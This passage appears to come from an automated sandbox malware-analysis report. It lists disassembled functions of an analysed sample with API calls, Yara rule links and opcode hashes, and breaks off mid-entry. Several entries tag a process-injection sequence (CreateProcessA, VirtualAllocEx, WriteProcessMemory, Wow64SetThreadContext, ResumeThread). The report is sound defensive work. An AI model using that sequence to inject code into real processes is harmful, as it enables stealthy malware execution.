Function 6CF68BC0 Relevance: 2.6, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,6CF66890,?), ref: 6CF68BDD
LeaveCriticalSection.KERNEL32(?), ref: 6CF68C23

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 180505ff5cd3061806fbd7f2617e69d46beabcf4ff7032196cd2d4bbadcee6a9
Instruction ID: 9f94a1c343446a53ef8bc25afc5750ebf510fbc9d46c080ca516d501b6a1acb3
Opcode Fuzzy Hash: 180505ff5cd3061806fbd7f2617e69d46beabcf4ff7032196cd2d4bbadcee6a9
Instruction Fuzzy Hash: 0D01DF71705104AFC744DFA9D88499AF7A8FF9D204710426EE945C7B00DB32ED50CBD0

Function 0339B890 Relevance: 1.9, Strings: 1, Instructions: 612COMMON

Download Yara Rule

Strings

Teq, xrefs: 0339B91B

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-994465419
Opcode ID: f8c9d7cea98994a05edbff422e8d44e03da5dd5522f06d071cc32454856ab19a
Instruction ID: d973cc6676dc97fd4583a6f8e5eaf3fd6b90a2a061edaf6053e2388bd0eaec47
Opcode Fuzzy Hash: f8c9d7cea98994a05edbff422e8d44e03da5dd5522f06d071cc32454856ab19a
Instruction Fuzzy Hash: 32429D3A500504EFDB0A9F98D944E55BFB3FF88318B1A84A4E2055F276C73AE865EF50

Function 062E3355 Relevance: 1.8, APIs: 1, Instructions: 299processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 062E362F

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3089de0a6b6d46faf2297a8a5cc0471ed33fc19214dce3143453c0b6c35396f5
Instruction ID: 73d23c02f1940279d71c229988f1684cef12146743cf67dd89104d41ec458ba1
Opcode Fuzzy Hash: 3089de0a6b6d46faf2297a8a5cc0471ed33fc19214dce3143453c0b6c35396f5
Instruction Fuzzy Hash: BBB13270D1025A8FDF60CFA8C845BEEBBF1BF49305F14916AE858A7290D7748985CF85

Function 062E3360 Relevance: 1.8, APIs: 1, Instructions: 295processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 062E362F

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f68dabc486ef75304c3b01c9a25c22e72dd480f7aa63d9f95664a7f52ed62597
Instruction ID: 0140cfc8ff5b05dc261f82e9f88604520a5e442af7d460334b16737288f54ff6
Opcode Fuzzy Hash: f68dabc486ef75304c3b01c9a25c22e72dd480f7aa63d9f95664a7f52ed62597
Instruction Fuzzy Hash: 74B13170D1025A8FDF50CFA8C841BEEBBF1BF09305F14916AE858A7290D7748985CF85

Function 0339FAC0 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(bq, xrefs: 0339FDBC

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 14894420ab1c937d31b22ba9d772fd6778de33c5bf24dea90a321bab98224084
Instruction ID: 74b56ad11e63906f140ad8ab755acc78584a1968bf184cd628fdbeb8c9f4c43a
Opcode Fuzzy Hash: 14894420ab1c937d31b22ba9d772fd6778de33c5bf24dea90a321bab98224084
Instruction Fuzzy Hash: 27E1AD34A00615CFDB10DF69C8C0A6AFBB5FF89315B15C6AAD829DB356D730E845CB90

Function 0339B881 Relevance: 1.8, Strings: 1, Instructions: 506COMMON

Download Yara Rule

Strings

Teq, xrefs: 0339B91B

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-994465419
Opcode ID: 632a8977a0e3219d67b35c93de181dc41139d7a2be53235a179106ab9fb0732d
Instruction ID: 0bfe22f2307e970b36210b3b9d70a56e33e14749e7a67459bb3ec5ed60fd674b
Opcode Fuzzy Hash: 632a8977a0e3219d67b35c93de181dc41139d7a2be53235a179106ab9fb0732d
Instruction Fuzzy Hash: 1A32573A500504EFDB0A9F94D908E55BFB3FF88318B1A84A8E2055B276C73BD865EF54

Function 6CF7E2CE Relevance: 1.7, APIs: 1, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 67ab28e02b1ca6f8f498ae6b06a8503a389179c2fe984bce6576bd90a11b4cbe
Instruction ID: 437f8cacafda6965d7fc21e4c175f61443695d6b633629d4fbba02eaf97b330f
Opcode Fuzzy Hash: 67ab28e02b1ca6f8f498ae6b06a8503a389179c2fe984bce6576bd90a11b4cbe
Instruction Fuzzy Hash: 6981A5B19083409FEB309F65A48178EBBF0BB51308F14497FD2599BB91D7B585488BA3

Function 062E3B50 Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 062E3C2D

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4134be2b7d8e0b4bb162b358cb92833f8d6ef0db253a6c8f2261e66f5f554b2f
Instruction ID: 7d10d91248a65b1b982dc3c1f91bffc9d658a187cd59d9330d1087313d370747
Opcode Fuzzy Hash: 4134be2b7d8e0b4bb162b358cb92833f8d6ef0db253a6c8f2261e66f5f554b2f
Instruction Fuzzy Hash: 48418AB5D102599FCB10CFA9D984AEEFBF1BF49310F24902AE818B7250D374A945CF64

Function 062E3B58 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 062E3C2D

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 721e14086bd11a6391731e93023add39c0573d0c6fcfaa2eb4d13487becb3bf5
Instruction ID: a5e3a0ac869fef0d4ca44dd8576dccc4ca867f6fae0e7272a08d0a7dc3e6ca94
Opcode Fuzzy Hash: 721e14086bd11a6391731e93023add39c0573d0c6fcfaa2eb4d13487becb3bf5
Instruction Fuzzy Hash: DA4179B5D002589FCB10CFA9D984ADEFBF1BF49310F24902AE818B7250D374A945CF64

Function 062E3958 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 062E3A0C

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 24b11ee20bf254b12a00a05d6f1fc3410fa3383fda1acbba3fbc71bdcdbfc912
Instruction ID: ff9fbd1918893243896c831e9e5f3091ca56a2fb9e0e81b7fb13c621e42bcc5e
Opcode Fuzzy Hash: 24b11ee20bf254b12a00a05d6f1fc3410fa3383fda1acbba3fbc71bdcdbfc912
Instruction Fuzzy Hash: DF4156B9D152589FCF10CFA9D984A9EFBB1AB49310F24A02AE818B7310D775A941CF64

Function 062E3960 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 062E3A0C

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8bf72984262fd88845b9df8311f55aa108dfa7a8f777a583f5e206c9175d38d0
Instruction ID: 018a16d6bd9d3068f826519fb347bb6c7c9e6267dd103f16250f036a89497fbe
Opcode Fuzzy Hash: 8bf72984262fd88845b9df8311f55aa108dfa7a8f777a583f5e206c9175d38d0
Instruction Fuzzy Hash: 693166B9D012589FCF10CFA9D984ADEFBB1BB49310F24902AE818B7320D375A941CF64

Function 6CF67140 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 6CF82820: _malloc.LIBCMT ref: 6CF82871

std::tr1::_Xweak.LIBCPMT ref: 6CF671D2

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xweak_mallocstd::tr1::_
String ID:
API String ID: 4085767713-0
Opcode ID: 0984176d663b802abbba7c25f477e6226db9adc1f0040ba012241c1c51b4fb41
Instruction ID: e67c1d5754aa3c7653850a07a72525ab217cab01cf0540489e0c0f28c71b00e6
Opcode Fuzzy Hash: 0984176d663b802abbba7c25f477e6226db9adc1f0040ba012241c1c51b4fb41
Instruction Fuzzy Hash: C53183B4A0574A9FCB10CFA6C880AABB7F9FF49308F24865EE81597B41D731E905CB50

Function 062E385B Relevance: 1.6, APIs: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 062E38EB

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 57c8c1976b9655b9857a154a23281deb568445345a0320e2e1d8e8751b203600
Instruction ID: 5d819a58f755879a59f92a89a2f9d937114572ec6452b232a64171fa08ccb535
Opcode Fuzzy Hash: 57c8c1976b9655b9857a154a23281deb568445345a0320e2e1d8e8751b203600
Instruction Fuzzy Hash: 0131AAB5D012589FCB10CFA9D984AEEFBF0AB09320F24902AE818B7310D774A944CF64

Function 062E3860 Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 062E38EB

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d9ac6f175bc9af1c6095d7725222c62fa2305377cb9aedf5fb80532aa2ce079f
Instruction ID: 1b2d85316ff4e74cee1438b715e4c6d44873f8d551175066245ca9244ce9491e
Opcode Fuzzy Hash: d9ac6f175bc9af1c6095d7725222c62fa2305377cb9aedf5fb80532aa2ce079f
Instruction Fuzzy Hash: E5319BB5D01258DFCB10CFA9D584AEEFBF0AB09314F24946AE818B7310D775A945CF64

Function 062E3D03 Relevance: 1.6, APIs: 1, Instructions: 72threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 062E3D85

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f424fee3e67a2d29be4eea82c42eafa50c9245381545f8806c7695061b5bb5ea
Instruction ID: 302f804c89c3ecf81b26fdfa8c6120681c16d1860a914308eef3eb9b3276688d
Opcode Fuzzy Hash: f424fee3e67a2d29be4eea82c42eafa50c9245381545f8806c7695061b5bb5ea
Instruction Fuzzy Hash: 4531ACB8D112589FDB10CFA9D984ADEFBF4EB09310F14902AE818B7310C774A940CFA4

Function 062E3D08 Relevance: 1.6, APIs: 1, Instructions: 71threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 062E3D85

Memory Dump Source

Source File: 00000000.00000002.1662245227.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62e0000_file.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 551b5e426b4a7ef63929b0466916c7901b33c50da2604f1c8875fc1d991bf889
Instruction ID: f3b3441660f2ed39eeedb519d60995b39ae11c42b72db4daa7f8704b2ad1c5d7
Opcode Fuzzy Hash: 551b5e426b4a7ef63929b0466916c7901b33c50da2604f1c8875fc1d991bf889
Instruction Fuzzy Hash: 6F319AB8D112589FCB10CFA9D984ADEFBF4AB49320F14942AE818B7310D775A941CFA4

Function 0339E023 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

CB, xrefs: 0339E776

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: CB
API String ID: 0-2813831398
Opcode ID: 117fe7bbba0742a58438b2e75c4f072ea2f8e2f9d946e2d549c47d395da9c79e
Instruction ID: cccf1a61ca14eda1b4c978c31e3cccdad41ac6a4906e336de423bb63d575e197
Opcode Fuzzy Hash: 117fe7bbba0742a58438b2e75c4f072ea2f8e2f9d946e2d549c47d395da9c79e
Instruction Fuzzy Hash: 9CA16975A04610CFDB18DF28D8D492DBBF5BF8971471688AAE856DF762CA30EC08CB50

Function 6CF7EA40 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

SysAllocString.OLEAUT32 ref: 6CF7EA8D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: d74ef6b2750fcaf11627f62d541d2b8cf329215494b734b2a908ba62569d2e41
Instruction ID: 26fc5ffd7ecd32cd94aadde3ac8813ddc0466481b033a01826d23777421d9e33
Opcode Fuzzy Hash: d74ef6b2750fcaf11627f62d541d2b8cf329215494b734b2a908ba62569d2e41
Instruction Fuzzy Hash: 0F01C0B1A00615EFE720CF58D900F9AB7B8EB01B24F11431BE824A7B80D7B599008AE0

Function 6CFB9D21 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6CFBE8DC

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: H_prolog3_catch_malloc
String ID:
API String ID: 529455676-0
Opcode ID: 577b882e232014eacb1a36b9141c09b1fe44c277ac08838335c1f74f6971b313
Instruction ID: 3c7c80f48a6d62697882cb3b8fe7eeb15b9f89d5f7050b73703f4ddffde33f5c
Opcode Fuzzy Hash: 577b882e232014eacb1a36b9141c09b1fe44c277ac08838335c1f74f6971b313
Instruction Fuzzy Hash: 7FD0A731714209D7CB41FB9AC405FAF7BB0AB41325F508069F0087AB80DF719F088796

Function 6CFBA510 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMT ref: 6CFBA510

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction ID: 49092bca2fad42ec4a0080e7d57be5a5ea62fb83a6d1605ec4e62c05611eb4b0
Opcode Fuzzy Hash: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction Fuzzy Hash: 52C09B39104308DF8B04CF11F440CDE7755AB94224710D115FC1816B509B319575D550

Function 033992E1 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

d, xrefs: 0339947F

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 9b09daa3096febd49a9626610ee367321edfc3c0fd2098bf0d422bf9b54b1daf
Instruction ID: 2afe831a88a9f2fe5b1dd7ad7eb98809480124c6c876ebe2490494220f44e61a
Opcode Fuzzy Hash: 9b09daa3096febd49a9626610ee367321edfc3c0fd2098bf0d422bf9b54b1daf
Instruction Fuzzy Hash: 6F51AD74E00219CFDF14DFAAD9846EDBBF6BF89304F24842AD419AB254EB346946CF41

Function 0339B1F0 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

pbq, xrefs: 0339B2D5

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 6ebff25732d5e03bd1e5e2199c8a0a46dac44392e8b0b5bbfe38b803f020195c
Instruction ID: 4016734408b6df44855951f76c4194fc36bfb0e4e6e6c7729e3c0c599eb9d2aa
Opcode Fuzzy Hash: 6ebff25732d5e03bd1e5e2199c8a0a46dac44392e8b0b5bbfe38b803f020195c
Instruction Fuzzy Hash: 69414730A0020ACFDB14DF69D8C4A6EBBB6FF84314F14846AE5568B765CB70E885CB90

Function 0339B1E0 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

pbq, xrefs: 0339B2D5

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 121348295af132b22d74ffcdc6a6829721e491c184831c53c7e4286cb6ebc88e
Instruction ID: e8658dcf7bdf13c7c0ad674ab837fd95498533dda8a4835f9e0ed16852ff3ba8
Opcode Fuzzy Hash: 121348295af132b22d74ffcdc6a6829721e491c184831c53c7e4286cb6ebc88e
Instruction Fuzzy Hash: 35416A30A00205CFDB14DF69D8C4A6EFBB6FF84304F14846AE4968B761CB70E845CB91

Function 0339EAE1 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

;!, xrefs: 0339EC1A

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: ;!
API String ID: 0-2498391034
Opcode ID: d77547d89fe2437dac4de39e759e3f570d7b8e2cd09c062745c19cc0769c2dce
Instruction ID: c31f0c01852f353079635b068cbb018565511321942f1055588845b36bb96a60
Opcode Fuzzy Hash: d77547d89fe2437dac4de39e759e3f570d7b8e2cd09c062745c19cc0769c2dce
Instruction Fuzzy Hash: 6431AD302052059FE705EB28D89056EBBA6EFC2204B44CA6EC0179F395DF36AD4A8BD5

Function 0339EAF8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

;!, xrefs: 0339EC1A

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: ;!
API String ID: 0-2498391034
Opcode ID: 0586e75257efdb9f25de93c3e98201de565735f876338ae68b24bb1044173687
Instruction ID: 37a0333624387b8816612bc7b0ce2feea55669058e7c519165178eba678ed3c8
Opcode Fuzzy Hash: 0586e75257efdb9f25de93c3e98201de565735f876338ae68b24bb1044173687
Instruction Fuzzy Hash: 2D315C316052059FE755EB28D89096EB6A6EBC1204B40CA3EC01B5F794EF32ED4A8BD5

Function 0339291F Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

Hbq, xrefs: 033929C4

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 9b7343ffe41c38e3fe0977f6e52a96f1a48aa32c119182a1c2cfe57cd1afed13
Instruction ID: 2613dbc9a67ab4a089a515d7b3b790d935b39501cc12323c32d7bab3715ed19e
Opcode Fuzzy Hash: 9b7343ffe41c38e3fe0977f6e52a96f1a48aa32c119182a1c2cfe57cd1afed13
Instruction Fuzzy Hash: BC21F530A04248BFEB41AB78DC947EE3FBAEF85300F10C4A6E545DF285DA345915C795

Function 033922B0 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

lo7p, xrefs: 0339230B

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: lo7p
API String ID: 0-3544042162
Opcode ID: 5d0c14618ec19d7fa851cd68ef1624ad59873afe1cea5510e60a481f00f957ab
Instruction ID: f3c7fb7e5a2f88cc4ebbfc1828a0f9d6682d30c920f6c8495a2203ae085174d7
